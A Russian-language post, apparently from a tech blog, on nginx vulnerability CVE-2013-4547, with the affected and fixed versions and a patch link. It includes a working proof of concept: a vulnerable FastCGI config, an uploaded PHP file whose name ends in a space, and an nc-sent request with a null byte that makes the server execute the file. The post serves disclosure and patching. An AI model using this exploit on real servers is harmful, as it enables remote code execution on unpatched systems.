Уязвимость в nginx — nginx security advisory (CVE-2013-4547)
В nginx обнаружена (и уже исправлена) уязвимость.
Подробности здесь: mailman.nginx.org/pipermail/nginx-ru/2013-November/052575.html
Проблеме подвержены версии nginx 0.8.41 — 1.5.6.
Проблема исправлена в nginx 1.5.7, 1.4.4.
Для кастомных конфигураций доступен патч — nginx.org/download/patch.2013.space.txt
Особенно интересна вот эта часть:
а также возможность вызывать специальную обработку файла с пробелом на конце в конфигурации вида
location ~ \.php$ {
fastcgi_pass…
}
запросив файл как "/file \0.php".
В популярной конфигурации nginx + php уязвимость может эксплуатироваться следующим образом:
* Пользователь загружает на сервер файл с пробелом на конце
* Специально составленным запросом этот файл исполняется.
Применительно к nginx + php5-fpm должны соблюдаться следующие условия для эксплуатации уязвимости:
1) fastcgi_param PATH_TRANSLATED должнен быть вида $document_root/$fastcgi_script_name, т.е. значение скрипта берется из реквеста
2) в конфиге fpm pool значение ecurity.limit_extensions должно пропускать любые файлы. По-умолчанию она выставлена в .php .php3 .php4 .php5
Пример эксплуатации:
server { listen *:80; server_name example.com; access_log ...; error_log ...; root /var/www/hot; location ~ \.php$ { include /etc/nginx/fastcgi_params; fastcgi_param PATH_TRANSLATED $document_root/$fastcgi_script_name; fastcgi_param SCRIPT_FILENAME $document_root/$fastcgi_script_name; fastcgi_pass pass; } location /css/ { } location /js/ { } location /img/ { } }
cat "/var/www/hot/hole " <?php echo "I am hole"; ?>
И наконец сам запрос:
echo -e "GET /hole \0.php HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc -w 1 example.com 80 HTTP/1.1 200 OK Server: nginx/1.4.1 Date: Tue, 19 Nov 2013 15:31:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.19-1~dotdeb.1 9 I am hole 0